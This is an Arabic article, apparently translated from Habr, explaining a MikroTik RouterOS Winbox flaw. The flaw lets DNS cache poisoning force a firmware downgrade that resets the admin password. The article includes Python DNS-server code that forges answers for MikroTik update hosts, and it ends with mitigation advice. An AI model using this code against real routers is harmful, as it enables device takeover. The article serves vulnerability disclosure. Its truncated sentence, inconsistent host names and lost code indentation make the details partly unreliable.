تؤدي القدرة على الرجوع إلى إصدار أقدم من الأجهزة عن بُعد استنادًا إلى RouterOS (Mikrotik) إلى تعريض مئات الآلاف من أجهزة الشبكة للخطر. تتعلق الثغرة الأمنية بإفساد ذاكرة التخزين المؤقت لـ DNS لبروتوكول Winbox وتسمح لك بتنزيل البرامج القديمة (مع إعادة تعيين كلمة المرور الافتراضية) أو تعديل البرامج الثابتة على الجهاز.
تفاصيل الثغرة الأمنية
تدعم محطة RouterOS الطرفية أمر الحل لعمليات بحث DNS.
تتم معالجة هذا الطلب بواسطة محلل ثنائي يسمى. Resolver هو واحد من العديد من الثنائيات المتصلة ببروتوكول Winbox الخاص بـ RouterOS. على مستوى عالٍ ، يمكن توجيه "الرسائل" المرسلة إلى منفذ Winbox إلى ثنائيات مختلفة في RouterOS استنادًا إلى نظام ترقيم قائم على المصفوفة.
يتم تعطيل ميزة خادم DNS افتراضيًا في RouterOS.
ومع ذلك ، حتى مع تعطيل وظيفة الخادم ، يحتفظ جهاز التوجيه بذاكرة التخزين المؤقت DNS الخاصة به.
عندما نقوم بتقديم طلب باستخدام winbox_dns_request مثل example.com ، سيقوم جهاز التوجيه بتخزين النتيجة مؤقتًا.
نظرًا لأنه يمكننا تحديد خادم DNS الذي يجب أن يمر الطلب من خلاله ، فمن التافه إدخال عناوين غير صحيحة. على سبيل المثال ، يمكنك تكوين تنفيذ خادم DNS من
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
الآن إذا كنت تستخدم Winbox للبحث عن example.com ، يمكنك أن ترى أن ذاكرة التخزين المؤقت DNS الخاصة بجهاز التوجيه قد تعرضت للتلف.
بالطبع ، تسميم example.com ليس مفيدًا جدًا ، لأن جهاز التوجيه لن يستخدمه بالفعل. ومع ذلك ، يحتاج جهاز التوجيه إلى الوصول إلى updates.mikrotik.com و cloud.mikrotik.com و cloud2.mikrotik.com و download.mikrotik.com. وبفضل خطأ آخر ، من الممكن تسميمهم جميعًا مرة واحدة.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
يطلب جهاز التوجيه منحة واحدة ، ونحن نعيد منح خمسة. يقوم جهاز التوجيه بتخزين كل هذه الاستجابات مؤقتًا بشكل غير صحيح.
من الواضح أن هذا الهجوم مفيد أيضًا إذا كان جهاز التوجيه يعمل كخادم DNS ، لأنه يسمح بمهاجمة عملاء جهاز التوجيه.
يسمح هذا الهجوم أيضًا باستغلال ثغرة أمنية أكثر خطورة: تخفيض إصدار RouterOS أو إعادة إصداره. يقوم المهاجم بإعادة إنشاء منطق خادم التحديث ، بما في ذلك سجل التغيير ، ويفرض على RouterOS قبول الإصدار القديم (المعرض للخطر) باعتباره محدثًا. يكمن الخطر هنا في حقيقة أنه عند "ترقية" الإصدار ، تتم إعادة تعيين كلمة مرور المسؤول إلى القيمة "الافتراضية" - يمكن للمهاجم تسجيل الدخول بكلمة مرور فارغة!
الهجوم يعمل بشكل جيد ، على الرغم من حقيقة ذلك
حماية
ببساطة ، فإن تعطيل Winbox يساعد في الحماية من هذه الهجمات. على الرغم من راحة الإدارة من خلال Winbox ، فمن الأفضل استخدام بروتوكول SSH.
المصدر: www.habr.com